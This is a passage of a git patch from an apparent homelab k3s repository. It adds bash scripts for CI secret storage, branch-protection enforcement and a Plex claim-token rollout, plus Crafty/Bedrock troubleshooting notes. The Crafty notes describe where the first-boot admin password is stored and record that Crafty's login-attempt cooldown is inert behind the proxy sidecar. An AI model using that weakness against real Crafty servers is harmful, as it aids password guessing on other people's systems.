echo " PUT failed: HTTP ${code} -- $(head -c 200 /tmp/set-ci-token.out)" >&2
|
||||||
|
rm -f /tmp/set-ci-token.out; exit 1
|
||||||
|
fi
|
||||||
|
rm -f /tmp/set-ci-token.out
|
||||||
|
|
||||||
|
# VERIFY BY READING IT BACK. curl -sS exits 0 on an HTTP error, so without this the script
|
||||||
|
# reports success for a store that never happened -- which is exactly what it did.
|
||||||
|
names="$(basic "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets" \
|
||||||
|
| jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
|
||||||
|
grep -q "$SECRET" <<<"$names" \
|
||||||
|
|| { echo " stored HTTP ${code} but ${SECRET} is NOT in ${names} -- refusing to claim success" >&2; exit 1; }
|
||||||
|
echo "==> stored and VERIFIED present: ${names}"
|
||||||
|
|
||||||
|
cat <<'NOTE'
|
||||||
|
|
||||||
|
Next:
|
||||||
|
1. .gitea/workflows/gate.yml already passes this secret to the gate step.
|
||||||
|
2. Open any PR and confirm the gate prints "gitea-settings: green" -- it SKIPS silently
|
||||||
|
without the token, so a green run is the only proof the wiring works.
|
||||||
|
3. THEN set REQUIRE_GITEA_SETTINGS=true in gate.yml, so a future missing token BLOCKS
|
||||||
|
instead of skipping. Do that only after you have seen it green, or you lock the repo.
|
||||||
|
NOTE
|
||||||
Executable
+83
@@ -0,0 +1,83 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# verify-then-enforce.sh — run this AFTER you have merged PRs 8, 5, 6, 7 in that order.
|
||||||
|
#
|
||||||
|
# It does NOT merge anything. Merging is your reviewed act (CLAUDE.md: a human approves and
|
||||||
|
# merges). This script does the mechanical half: prove the converted runner actually works,
|
||||||
|
# and only then turn on enforcement.
|
||||||
|
#
|
||||||
|
# WHY THIS ORDER. The act-runner Deployment IS the merge gate for this repository. Enabling a
|
||||||
|
# required status check while the runner is broken means NO PR can merge -- including the
|
||||||
|
# revert. So PR #7 lands while the gate is still advisory, is PROVEN green on a real run, and
|
||||||
|
# only then does enforcement go on.
|
||||||
|
#
|
||||||
|
# Aborts at the first checkpoint that does not pass. Safe to re-run.
|
||||||
|
set -euo pipefail
|
||||||
|
HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
|
||||||
|
REPO_ROOT=/var/home/keith/source/home-network-k3s-impl
|
||||||
|
D="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
cd "$REPO_ROOT"
|
||||||
|
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
|
||||||
|
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
|
||||||
|
api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
|
||||||
|
A="https://${HOST}/api/v1/repos/${OWNER}/${REPO}"
|
||||||
|
say() { printf '\n\033[1m==> %s\033[0m\n' "$1"; }
|
||||||
|
die() { printf '\n\033[31mABORT: %s\033[0m\n' "$1" >&2; exit 1; }
|
||||||
|
|
||||||
|
say "PRECHECK — all four PRs must be merged first"
|
||||||
|
for n in 8 5 6 7; do
|
||||||
|
m=$(api "$A/pulls/$n" | jq -r .merged)
|
||||||
|
printf ' PR #%s merged=%s\n' "$n" "$m"
|
||||||
|
[ "$m" = true ] || die "PR #$n is not merged yet. Merge 8, 5, 6, 7 in that order, then re-run."
|
||||||
|
done
|
||||||
|
|
||||||
|
say "STEP 1 — force Flux to apply the sidecar now, not on the 10m interval"
|
||||||
|
./infra/devcontainer/dev.sh run bash -c \
|
||||||
|
'flux --context k3s-prod -n flux-system reconcile kustomization apps-wave-1 --with-source'
|
||||||
|
|
||||||
|
say "STEP 2 — CHECKPOINT: the converted pod must come up healthy"
|
||||||
|
./infra/devcontainer/dev.sh run bash -c '
|
||||||
|
kubectl --context k3s-prod -n gitea-actions rollout status deploy/act-runner --timeout=180s
|
||||||
|
echo "--- sidecar (initContainers) ---"
|
||||||
|
kubectl --context k3s-prod -n gitea-actions get deploy act-runner \
|
||||||
|
-o jsonpath="{range .spec.template.spec.initContainers[*]}{.name} restartPolicy={.restartPolicy}{\"\n\"}{end}"
|
||||||
|
kubectl --context k3s-prod -n gitea-actions get pod -l app.kubernetes.io/name=act-runner' \
|
||||||
|
|| die "converted act-runner pod is not healthy -- REVERT PR #7 before anything else"
|
||||||
|
|
||||||
|
say "STEP 3 — CHECKPOINT: a runner must be ONLINE again"
|
||||||
|
n=0
|
||||||
|
for i in $(seq 1 40); do
|
||||||
|
n=$(api "https://${HOST}/api/v1/admin/actions/runners" | jq -r '[(.runners//[])[]|select(.status=="online")]|length')
|
||||||
|
printf '\r online runners: %s (%ss) ' "$n" "$((i*5))"
|
||||||
|
[ "${n:-0}" -ge 1 ] && { echo; break; }
|
||||||
|
sleep 5
|
||||||
|
done
|
||||||
|
[ "${n:-0}" -ge 1 ] || die "no runner online after the conversion -- REVERT PR #7"
|
||||||
|
|
||||||
|
say "STEP 4 — CHECKPOINT: a REAL workflow must go green ON THE CONVERTED POD"
|
||||||
|
MAIN_SHA=$(api "$A/branches/main" | jq -r .commit.id)
|
||||||
|
echo " watching the post-merge push run on main (${MAIN_SHA:0:8})..."
|
||||||
|
st=""
|
||||||
|
for i in $(seq 1 60); do
|
||||||
|
st=$(api "$A/commits/$MAIN_SHA/status" | jq -r .state)
|
||||||
|
printf '\r main gate: %-8s (%ss) ' "$st" "$((i*10))"
|
||||||
|
case "$st" in success) echo; break;; failure|error) die "gate FAILED on the converted pod -- REVERT PR #7";; esac
|
||||||
|
sleep 10
|
||||||
|
done
|
||||||
|
[ "$st" = success ] || die "gate never completed on the converted pod -- REVERT PR #7; do NOT enable enforcement"
|
||||||
|
echo " the converted sidecar ran a real job green. Enforcement is now safe."
|
||||||
|
|
||||||
|
say "STEP 5 — require the gate + one approval"
|
||||||
|
"$D/require-gate.sh"
|
||||||
|
|
||||||
|
say "STEP 6 — prove a direct push is rejected (do not trust the API's word)"
|
||||||
|
git fetch -q origin && git checkout -q main && git reset -q --hard origin/main
|
||||||
|
git commit -q --allow-empty -m 'protection probe'
|
||||||
|
if git push origin main 2>&1 | grep -q 'protected branch'; then
|
||||||
|
echo " CONFIRMED: push to main rejected by the pre-receive hook."
|
||||||
|
else
|
||||||
|
echo " WARNING: the push was NOT rejected -- protection is not doing what it claims."
|
||||||
|
fi
|
||||||
|
git reset -q --hard origin/main
|
||||||
|
|
||||||
|
say "FINAL STATE"
|
||||||
|
api "$A/branches/main" | jq -r '{protected,user_can_push,enable_status_check,status_check_contexts,required_approvals}'
|
||||||
Executable
+94
@@ -0,0 +1,94 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# plex-claim-ship.sh — run this IMMEDIATELY AFTER editing the SOPS secret with a fresh
|
||||||
|
# plex.tv claim token. It drives the whole CI/CD loop end to end and prints a running
|
||||||
|
# stopwatch so you can see the budget being spent.
|
||||||
|
#
|
||||||
|
# branch -> commit -> push -> PR -> gate -> merge -> reconcile -> pod roll -> verify
|
||||||
|
#
|
||||||
|
# It never sees, prints, or handles the token: the file is already encrypted by sops.
|
||||||
|
set -euo pipefail
|
||||||
|
HOST=gitea.home.keithjackson.dev
|
||||||
|
OWNER=Home-Network
|
||||||
|
REPO=home-network-k3s-impl
|
||||||
|
SECRET=apps/wave-0/plex-claim-secret.sops.yaml
|
||||||
|
T0=$(date +%s)
|
||||||
|
el() { printf '\n[T+%02d:%02d] %s\n' $(( ($(date +%s)-T0)/60 )) $(( ($(date +%s)-T0)%60 )) "$1"; }
|
||||||
|
|
||||||
|
cd "$(git rev-parse --show-toplevel)"
|
||||||
|
|
||||||
|
# --- preflight: refuse to ship a file that is not what we think it is -------------
|
||||||
|
git diff --quiet -- "$SECRET" && { echo "ERROR: $SECRET is unchanged. Edit it first:"; \
|
||||||
|
echo " infra/devcontainer/dev.sh run sops $SECRET"; exit 1; }
|
||||||
|
grep -q 'PLEX_CLAIM: ENC\[' "$SECRET" || { echo "ERROR: $SECRET is not encrypted. REFUSING."; exit 1; }
|
||||||
|
[ -z "$(git status --porcelain | grep -v " $SECRET\$")" ] || echo "NOTE: other files are dirty; only $SECRET will be committed."
|
||||||
|
|
||||||
|
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
|
||||||
|
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
|
||||||
|
api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
|
||||||
|
|
||||||
|
# Branch prefix is now cosmetic. It used to matter: gate.yml's push trigger covered
|
||||||
|
# feature/** fix/** docs/** chore/** but not feat/**, and with act_runner at capacity 1 a
|
||||||
|
# matching prefix fired a redundant run that serialised ahead of the PR run. Those
|
||||||
|
# per-branch push triggers were deleted, so no prefix produces a duplicate run any more.
|
||||||
|
BRANCH="feat/plex-claim-token-$(date +%H%M%S)"
|
||||||
|
|
||||||
|
el "committing on $BRANCH"
|
||||||
|
git checkout -q -b "$BRANCH"
|
||||||
|
git add "$SECRET"
|
||||||
|
git commit -q -m 'chore(plex): fresh plex.tv claim token
|
||||||
|
|
||||||
|
Injected inside the plex.tv claim window per runbooks/plex-claim.md.'
|
||||||
|
SHA=$(git rev-parse HEAD)
|
||||||
|
|
||||||
|
el "pushing"
|
||||||
|
git push -q -u origin "$BRANCH"
|
||||||
|
|
||||||
|
el "opening PR"
|
||||||
|
PR=$(jq -n --arg h "$BRANCH" --arg b main --arg t 'chore(plex): fresh plex.tv claim token' \
|
||||||
|
'{head:$h,base:$b,title:$t,body:"Token injection inside the claim window. Wiring already reviewed in #1."}' \
|
||||||
|
| api -X POST -H 'Content-Type: application/json' --data @- \
|
||||||
|
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/pulls" | jq -r '.number')
|
||||||
|
[ -n "$PR" ] && [ "$PR" != "null" ] || { echo "PR creation failed"; exit 1; }
|
||||||
|
echo " PR #$PR"
|
||||||
|
|
||||||
|
el "waiting for the gate (expect ~1m40s)"
|
||||||
|
for i in $(seq 1 60); do
|
||||||
|
st=$(api "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/commits/${SHA}/status" | jq -r '.state')
|
||||||
|
printf '\r gate=%s [T+%ss] ' "$st" "$(( $(date +%s)-T0 ))"
|
||||||
|
case "$st" in success) echo; break;; failure|error) echo; echo "GATE FAILED — stopping."; exit 1;; esac
|
||||||
|
sleep 5
|
||||||
|
done
|
||||||
|
[ "$st" = "success" ] || { echo; echo "gate did not finish in time"; exit 1; }
|
||||||
|
|
||||||
|
el "merging PR #$PR"
|
||||||
|
api -X POST -H 'Content-Type: application/json' -d '{"Do":"merge"}' \
|
||||||
|
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/pulls/${PR}/merge" >/dev/null
|
||||||
|
git checkout -q main && git pull -q --ff-only origin main
|
||||||
|
|
||||||
|
el "forcing the Flux reconcile (--with-source, or it applies the OLD revision)"
|
||||||
|
./infra/devcontainer/dev.sh run bash -c \
|
||||||
|
'flux --context k3s-prod -n flux-system reconcile kustomization apps-wave-0 --with-source'
|
||||||
|
|
||||||
|
# MANDATORY here. Only the Secret ciphertext changed, so the Deployment pod template is
|
||||||
|
# byte-identical and NOTHING restarts on its own. PLEX_CLAIM is read once, at container
|
||||||
|
# start. Skipping this is failure mode #2 in runbooks/plex-claim.md.
|
||||||
|
el "rolling the pod (mandatory — a changed Secret restarts nothing)"
|
||||||
|
./infra/devcontainer/dev.sh run bash -c \
|
||||||
|
'kubectl --context k3s-prod -n plex rollout restart deployment/plex && \
|
||||||
|
kubectl --context k3s-prod -n plex rollout status deployment/plex --timeout=120s'
|
||||||
|
|
||||||
|
el "verdict"
|
||||||
|
./infra/devcontainer/dev.sh run bash -c \
|
||||||
|
'kubectl --context k3s-prod -n plex logs deploy/plex --since=3m | grep -i -e claim -e token || true'
|
||||||
|
cat <<'NOTE'
|
||||||
|
|
||||||
|
"Attempting to obtain server token..." + "Token obtained successfully" -> CLAIMED
|
||||||
|
"Attempting..." with no success line -> token expired; retry, nothing is broken
|
||||||
|
neither line -> already claimed, or env did not reach the container
|
||||||
|
|
||||||
|
Confirm it persisted (prints the attribute NAME only, never its value):
|
||||||
|
|
||||||
|
infra/devcontainer/dev.sh run bash -c \
|
||||||
|
'kubectl --context k3s-prod -n plex exec deploy/plex -- sh -c \
|
||||||
|
"grep -o PlexOnlineToken= \"/config/Library/Application Support/Plex Media Server/Preferences.xml\" | head -1"'
|
||||||
|
NOTE
|
||||||
@@ -34,6 +34,14 @@ resources:
|
|||||||
# policies, the next import is blocked in the gap.
|
# policies, the next import is blocked in the gap.
|
||||||
- ../platform/kyverno/policies/label-cdi-worker-pods.yaml
|
- ../platform/kyverno/policies/label-cdi-worker-pods.yaml
|
||||||
- ../platform/kyverno/admission/secret-provenance.yaml
|
- ../platform/kyverno/admission/secret-provenance.yaml
|
||||||
|
# R-SEC-02 — bounds what the conformance CI trigger may create. MUST be listed HERE: this
|
||||||
|
# Kustomization is what actually applies ClusterPolicies. Adding a policy only to
|
||||||
|
# platform/kyverno/admission/kustomization.yaml is a SILENT NO-OP — that file is reference
|
||||||
|
# only ("kept as reference; THIS file is the buildable render root" in
|
||||||
|
# platform/kyverno/kustomization.yaml, which itself ships only the namespace + HelmRelease).
|
||||||
|
# That is exactly how this policy shipped green and never reached the cluster on 2026-09-29,
|
||||||
|
# leaving the conformance-trigger identity live with nothing bounding it.
|
||||||
|
- ../platform/kyverno/admission/conformance-trigger-job-shape.yaml
|
||||||
# cilium: L2 LB IP pool + announcement policy (cilium.io CRDs already registered by Cilium)
|
# cilium: L2 LB IP pool + announcement policy (cilium.io CRDs already registered by Cilium)
|
||||||
- cilium/l2-ip-pool.yaml
|
- cilium/l2-ip-pool.yaml
|
||||||
- cilium/l2-announcement-policy.yaml
|
- cilium/l2-announcement-policy.yaml
|
||||||
|
|||||||
+360
-13
@@ -21,7 +21,7 @@ Cilium L2 LoadBalancer (game protocols authenticate players themselves).
|
|||||||
| PVC subPaths | `servers`→`/crafty/servers`, `backups`→`/crafty/backups`, `logs`→`/crafty/logs`, `import`→`/crafty/import`, `config`→`/crafty/app/config` |
|
| PVC subPaths | `servers`→`/crafty/servers`, `backups`→`/crafty/backups`, `logs`→`/crafty/logs`, `import`→`/crafty/import`, `config`→`/crafty/app/config` |
|
||||||
| Identity | `runAsUser:1000 runAsGroup:0 fsGroup:0 runAsNonRoot:true` (see below) |
|
| Identity | `runAsUser:1000 runAsGroup:0 fsGroup:0 runAsNonRoot:true` (see below) |
|
||||||
| Web host | `crafty.home.keithjackson.dev` → shared Gateway → `crafty` Service :80 → sidecar :4180 → Crafty :8443 |
|
| Web host | `crafty.home.keithjackson.dev` → shared Gateway → `crafty` Service :80 → sidecar :4180 → Crafty :8443 |
|
||||||
| Game VIP | **192.168.1.55** (Cilium L2 LoadBalancer; `.53`=Gateway, `.54`=unifi, `.55`=crafty) |
|
| Game VIP | `${CRAFTY_L4_VIP}` (Cilium L2 LoadBalancer) — **prod `192.168.2.22`** (live `EXTERNAL-IP`, measured 2026-09-29); base/dev `192.168.1.55` |
|
||||||
| Game ports | starter set: **TCP 25565-25567** (Java), **UDP 19132-19134** (Bedrock) |
|
| Game ports | starter set: **TCP 25565-25567** (Java), **UDP 19132-19134** (Bedrock) |
|
||||||
|
|
||||||
### fsGroup / user decision (the seerr lesson, applied)
|
### fsGroup / user decision (the seerr lesson, applied)
|
||||||
@@ -49,9 +49,49 @@ Crafty's UI is gated by a **dedicated oauth2-proxy sidecar in the Crafty pod** (
|
|||||||
`crafty.home.keithjackson.dev`). The `crafty` Service targets the sidecar, never Crafty's `:8443`, so
|
`crafty.home.keithjackson.dev`). The `crafty` Service targets the sidecar, never Crafty's `:8443`, so
|
||||||
the gate is **in the data path** (fail-closed: no valid `platform-admins` session ⇒ no upstream).
|
the gate is **in the data path** (fail-closed: no valid `platform-admins` session ⇒ no upstream).
|
||||||
|
|
||||||
> **Note:** Crafty ALSO has its own local admin login (it has no OIDC). After oauth2-proxy admits the
|
#### Cookie isolation (why the session used to vanish)
|
||||||
> user, they still see Crafty's own login page — a second, defense-in-depth factor. The operator logs
|
|
||||||
> in with Crafty's local admin credentials (set on first boot). This is expected, not a bug.
|
This sidecar and the **shared** forward-auth oauth2-proxy are independent instances with **different
|
||||||
|
`cookie-secret` values** (measured in-cluster — neither can decrypt the other's cookie). Both used to
|
||||||
|
emit oauth2-proxy's *default* cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
|
||||||
|
`.home.keithjackson.dev`, so the browser held **one** cookie pair for **both**: whichever proxy
|
||||||
|
authenticated last clobbered the other's session, and the loser logged
|
||||||
|
`No valid authentication in request`, bounced to Keycloak, and — because the Keycloak SSO session was
|
||||||
|
still live — was redirected straight back, clobbering the cookie again. That mutual eviction presents
|
||||||
|
exactly as *"I signed in to Keycloak but I'm still not signed in."*
|
||||||
|
|
||||||
|
Fixed on this side only (renaming the shared proxy's cookie would sign out every other gated app):
|
||||||
|
`--cookie-name=_oauth2_proxy_crafty` and a **host-scoped** `--cookie-domain=crafty.home.keithjackson.dev`.
|
||||||
|
`--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
|
||||||
|
|
||||||
|
#### Crafty's own local login — this is where setup actually blocks
|
||||||
|
|
||||||
|
Crafty has **no OIDC**, so after oauth2-proxy admits the user they still meet Crafty's own
|
||||||
|
username/password page. That second factor is intended. What was **not** intended — and what made the
|
||||||
|
service impossible to set up — is that **nothing documented where that password comes from**.
|
||||||
|
|
||||||
|
Crafty generates it **once, on first boot only**, when the users table is empty
|
||||||
|
(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`), and writes it to
|
||||||
|
**`/crafty/app/config/default-creds.txt`** (mode `0600`, on the `config` subPath of the PVC). It is
|
||||||
|
**never** in git and **cannot** be recovered from git: a rebuild onto a fresh PVC generates a *new*
|
||||||
|
random password. Submitting anything else yields `POST /api/v2/auth/login/` → **401**, which is exactly
|
||||||
|
what a browser sees with no hint as to why.
|
||||||
|
|
||||||
|
**→ Retrieval, rotation, and lost-password recovery: [`../../runbooks/crafty-admin-credential.md`](../../runbooks/crafty-admin-credential.md).**
|
||||||
|
|
||||||
|
Two traps that runbook covers:
|
||||||
|
|
||||||
|
- Crafty's `set_passwd` console command is **unreachable** in Kubernetes — it calls
|
||||||
|
`getpass.getpass()` and so needs a TTY, while the container runs `main.py -d -i` (daemon).
|
||||||
|
Recovery therefore has to go through the DB with Crafty's own argon2 hasher.
|
||||||
|
- Crafty's own 3-strikes brute-force cooldown is **inert behind this sidecar**, verified live. Crafty
|
||||||
|
*records* failed attempts under `get_remote_ip()` (which honours `X-Forwarded-For` — the live
|
||||||
|
tracker key is the chain `"192.168.2.132, 10.0.0.123"`) but *checks* for a cooldown under
|
||||||
|
`self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The two halves key
|
||||||
|
differently, so `get_recent_attempts()` always reads an empty list and `max_login_attempts: 3`
|
||||||
|
never fires. Good news for the operator (**repeated guesses cannot lock you out**), but it means
|
||||||
|
the only thing actually limiting who can reach the login form is the oauth2-proxy
|
||||||
|
`platform-admins` gate — worth knowing before anyone treats that cooldown as a control.
|
||||||
|
|
||||||
### Keycloak client
|
### Keycloak client
|
||||||
|
|
||||||
@@ -76,15 +116,16 @@ can't span namespaces). Both are age-encrypted to the repo `sops-age` recipient
|
|||||||
## Game-port L4 exposure
|
## Game-port L4 exposure
|
||||||
|
|
||||||
The Gateway is L7-HTTPS-only; raw TCP/UDP game ports can't ride it. `service-l4.yaml` exposes them as
|
The Gateway is L7-HTTPS-only; raw TCP/UDP game ports can't ride it. `service-l4.yaml` exposes them as
|
||||||
two `type=LoadBalancer` Services (TCP + UDP) sharing the pinned VIP **192.168.1.55**
|
two `type=LoadBalancer` Services (TCP + UDP) sharing the pinned VIP `${CRAFTY_L4_VIP}` (**prod
|
||||||
|
`192.168.2.22`**)
|
||||||
(`lbipam.cilium.io/sharing-key: crafty`), ARP-announced by the existing `default-l2` policy. This path
|
(`lbipam.cilium.io/sharing-key: crafty`), ARP-announced by the existing `default-l2` policy. This path
|
||||||
is **NOT auth-gated** — Minecraft Java (Mojang/Microsoft) and Bedrock (Xbox Live) authenticate players
|
is **NOT auth-gated** — Minecraft Java (Mojang/Microsoft) and Bedrock (Xbox Live) authenticate players
|
||||||
themselves. `external-dns` publishes `crafty-mc.home.keithjackson.dev → 192.168.1.55`.
|
themselves. `external-dns` publishes `crafty-mc.home.keithjackson.dev → ${CRAFTY_L4_VIP}`.
|
||||||
|
|
||||||
### Adding more game ports (when the operator creates servers)
|
### Adding more game ports (when the operator creates servers)
|
||||||
|
|
||||||
The operator has **not created any servers yet**; the starter set covers 3 Java + 3 Bedrock slots. To
|
As of 2026-09-29 **two** servers exist (see *Runtime state* below): Java `homelab` on 25565 and
|
||||||
add capacity:
|
Bedrock `K3s-Bedrock` on 19132. The starter set covers 3 Java + 3 Bedrock slots. To add capacity:
|
||||||
|
|
||||||
1. In the Crafty UI, create the server and bind it to a NEW port (Java TCP or Bedrock UDP).
|
1. In the Crafty UI, create the server and bind it to a NEW port (Java TCP or Bedrock UDP).
|
||||||
2. Add that port to the matching Service in `service-l4.yaml` (one
|
2. Add that port to the matching Service in `service-l4.yaml` (one
|
||||||
@@ -93,6 +134,274 @@ add capacity:
|
|||||||
4. (Optional) add a `containerPort` in `deployment.yaml` for documentation.
|
4. (Optional) add a `containerPort` in `deployment.yaml` for documentation.
|
||||||
5. Commit → Flux reconciles.
|
5. Commit → Flux reconciles.
|
||||||
|
|
||||||
|
### Bedrock on UDP 19132 — the transport trap, and the ERROR banner that is NOT a refusal (MEASURED on prod 2026-09-29)
|
||||||
|
|
||||||
|
Two traps in sequence. The first hides the UDP socket; the second frightens you into undoing the fix.
|
||||||
|
As of 2026-09-29 21:34 this server is **reachable on `19132/udp` and answering**, measured from
|
||||||
|
off-cluster. Read both traps before changing anything.
|
||||||
|
|
||||||
|
#### Trap 1 — `transport=nethernet` (the shipped default) opens no RakNet UDP listener
|
||||||
|
|
||||||
|
Measured 20:54–21:32 against `K3s-Bedrock` (`c5837301-12b1-404e-b50e-70eafb37226b`, DB
|
||||||
|
`type=minecraft-bedrock`, `server_port=19132`, process `./bedrock_server` alive):
|
||||||
|
|
||||||
|
- `/proc/net/udp` and `/proc/net/udp6` held **no socket on 19132** (`0x4ABC`) at all. Port 19132 was
|
||||||
|
bound as **TCP** (`/proc/net/tcp6`, `…:4ABC`, state `0A`/LISTEN), not UDP.
|
||||||
|
- That is nethernet working as designed, and the **shipped `bedrock_server_how_to.html`** — the
|
||||||
|
vendor's own doc, sitting on the PVC beside the binary — says exactly why: nethernet *"listens on a
|
||||||
|
single dual-stack **TCP** socket on `server-port` for an HTTP-based signaling handshake, then
|
||||||
|
negotiates a UDP connection with each client that carries the gameplay traffic."*
|
||||||
|
- **So nethernet could never have worked here anyway, on two independent counts:** `service-l4.yaml`
|
||||||
|
exposes 19132 **only in the UDP Service** (`crafty-l4-tcp` carries 25565-25567 and nothing else), and
|
||||||
|
`crafty-allow-ingress` allows `19132 UDP` and **not** `19132 TCP`. The signaling port was unreachable
|
||||||
|
at both the Service and the policy layer. The server's own `packet-statistics.txt` for that run
|
||||||
|
agrees: `Total Received: 0, 0B` over 2293 s.
|
||||||
|
- Crafty does not manage this property (`transport` appears nowhere under `/crafty/app/classes/`) and
|
||||||
|
its *only* Bedrock probe is `raknet_ping.py`, so the panel logged `WARNING
|
||||||
|
app.classes.remote_stats.raknet_ping - Got timeout while issuing bedrock ping to 127.0.0.1:19132`
|
||||||
|
every ~5 s — **155 such lines** — against a server it had started successfully.
|
||||||
|
|
||||||
|
#### Trap 2 — under `transport=raknet` this build prints a scary ERROR banner and then works anyway
|
||||||
|
|
||||||
|
The operator set `transport=raknet` at 21:33:31 (`/crafty/logs/audit.log`: `Edited file
|
||||||
|
/crafty/servers/c5837301-…/server.properties`) and started the server at 21:33:58. BDS **1.26.52**
|
||||||
|
printed, at ERROR level:
|
||||||
|
|
||||||
|
```
|
||||||
|
[ERROR] ================ TRANSPORT TYPE ERROR ===================
|
||||||
|
[ERROR] Your current connection type is not set to NetherNet. In this release, NetherNet is the only
|
||||||
|
supported transport type.
|
||||||
|
[ERROR] Players will not be able to connect to your game without NetherNet.
|
||||||
|
[ERROR] To switch, set 'transport=nethernet' in server.properties.
|
||||||
|
```
|
||||||
|
|
||||||
|
**That banner is advisory, not fatal. Do not revert `transport` on seeing it.** Every claim it makes
|
||||||
|
about connectivity was false on this cluster within five seconds of it being printed:
|
||||||
|
|
||||||
|
- The process **kept running** (`./bedrock_server`, pid 47006) and **bound the RakNet sockets**:
|
||||||
|
`/proc/net/udp` `00000000:4ABC` (19132, IPv4) and `/proc/net/udp6` `…:4ABD` (19133, IPv6), both owned
|
||||||
|
by `bedrock_server` — `/proc/47006/fd/25` and `fd/26` → those socket inodes. The earlier **TCP** bind
|
||||||
|
on `4ABC` is **gone**.
|
||||||
|
- Crafty's warning **changed kind** at that instant: last `Got timeout` at `21:34:04,306`, first
|
||||||
|
`Bedrock ping returned a string with too few fields` at `21:34:09,854`. That distinction is
|
||||||
|
load-bearing — read `raknet_ping.py`: `Got timeout` is emitted *only* when `sock.recv` raises
|
||||||
|
`TimeoutError` (nothing came back at all), whereas `too few fields` is reachable *only after* a
|
||||||
|
`0x1C` Unconnected Pong has arrived **and its magic has validated**. The server is answering pings.
|
||||||
|
- **End-to-end, from off-cluster:** a RakNet Unconnected Ping sent from the LAN to the prod VIP
|
||||||
|
`192.168.2.22:19132` returns a 139-byte `0x1c` Unconnected Pong in ~12 ms, magic valid:
|
||||||
|
|
||||||
|
MCPE;Dedicated Server;2193;1.26.52;0;10;11676629557768398479;Bedrock level;Survival;1;19132;19133;0;0;0;
|
||||||
|
|
||||||
|
Edition `MCPE`, protocol `2193`, version **`1.26.52`**, `0/10` players. **Players can reach this
|
||||||
|
server now**, through the VIP, the Service, and the CiliumNetworkPolicy, with no manifest change.
|
||||||
|
- The vendor doc on disk contradicts the banner and matches the observed behaviour. `transport` is
|
||||||
|
documented as *"Allowed values: raknet, nethernet"*, and: *"**raknet** — The traditional Bedrock UDP
|
||||||
|
transport. The server listens directly on `server-port` (IPv4) and `server-portv6` (IPv6), and
|
||||||
|
clients connect to that address and port."* RakNet is also still fully compiled into the binary —
|
||||||
|
`strings bedrock_server` yields `RakNetConnector`, `createUniqueRakPeer`, `RakPeerInterface` and the
|
||||||
|
vendored build path `…/src-deps/raknet/raknet/RakNetSocket2.cpp`.
|
||||||
|
|
||||||
|
So *"NetherNet is the only supported transport type"* is a **support statement, not a capability
|
||||||
|
statement**: Microsoft declines to support RakNet and ships it working. Treat the banner as a
|
||||||
|
deprecation notice with an **unknown expiry** — a future BDS may genuinely remove RakNet, and that is
|
||||||
|
the day this exposure needs GeyserMC (see *If RakNet is ever really removed* below).
|
||||||
|
|
||||||
|
> **The shipped-comment trap, stated plainly.** `server.properties` lists `raknet` as allowed and the
|
||||||
|
> binary logs an ERROR saying it is not supported. Both are the vendor, and they disagree. The tiebreak
|
||||||
|
> is neither prose: it is `/proc/net/udp` and a pong on the wire. Whenever this file says a Bedrock
|
||||||
|
> server is or is not reachable, it is because someone pinged it — not because a comment said so.
|
||||||
|
|
||||||
|
#### The steady-state `too few fields` warning is benign and is now the expected signature
|
||||||
|
|
||||||
|
Crafty will log `Bedrock ping returned a string with too few fields - missing values [None]` every
|
||||||
|
~5 s forever. **That means the ping SUCCEEDED.** BDS 1.26.52's pong carries 16 `;`-separated fields;
|
||||||
|
Crafty 4.10.8's `pingpong_string_fields` table knows 14 and expects the last to be an empty
|
||||||
|
terminator. It instead finds `'0'`, so `last_enumeration` stops at index 12 and the parser reports the
|
||||||
|
one `None` terminator entry as missing. Every field that matters (edition, MOTD, protocol, version
|
||||||
|
name, player count, max players, uuid, game mode, both ports) parsed correctly. **Do not chase this
|
||||||
|
warning.** The failure signature is the *other* message, `Got timeout`.
|
||||||
|
|
||||||
|
### "You are not invited to play on this server" — the join gate is the allowlist, not the network (MEASURED 2026-09-29 21:56; **RESOLVED and confirmed 22:03**)
|
||||||
|
|
||||||
|
A Bedrock client reported **"Unable to connect / You are not invited to play on this server"**. That is
|
||||||
|
an **authorization** refusal, and it is the expected, guaranteed behaviour of this server's current
|
||||||
|
configuration. Measured:
|
||||||
|
|
||||||
|
| Property / file | Value | Source |
|
||||||
|
|---|---|---|
|
||||||
|
| `allow-list` | **`true`** (line 37) | `server.properties` |
|
||||||
|
| `allowlist.json` | **`[]`** — 3 bytes, mtime 20:51, never edited since server create | `cat allowlist.json` |
|
||||||
|
| `online-mode` | `true` (line 31) | `server.properties` |
|
||||||
|
| `transport` | **`raknet`** (line 71), file mtime **still 21:33:31** | `server.properties` |
|
||||||
|
| TCP 19132 listener | **none** (`NO-TCP-4ABC`) | `grep 4ABC /proc/net/tcp /proc/net/tcp6` |
|
||||||
|
| UDP 19132 listener | present, `00000000:4ABC`, pid 47006 | `grep 4ABC /proc/net/udp` |
|
||||||
|
|
||||||
|
**`allow-list=true` with an empty `allowlist.json` refuses every player, unconditionally.** The shipped
|
||||||
|
`bedrock_server_how_to.html` states it: *"If the `allow-list` property is enabled in server.properties
|
||||||
|
then the server will only allow selected users to connect. To allow a user to connect you need to know
|
||||||
|
their Xbox Live **Gamertag**."* An empty list selects nobody. This is not a network problem, not a
|
||||||
|
transport problem, and not a platform problem — and no amount of Service or policy work will change it.
|
||||||
|
|
||||||
|
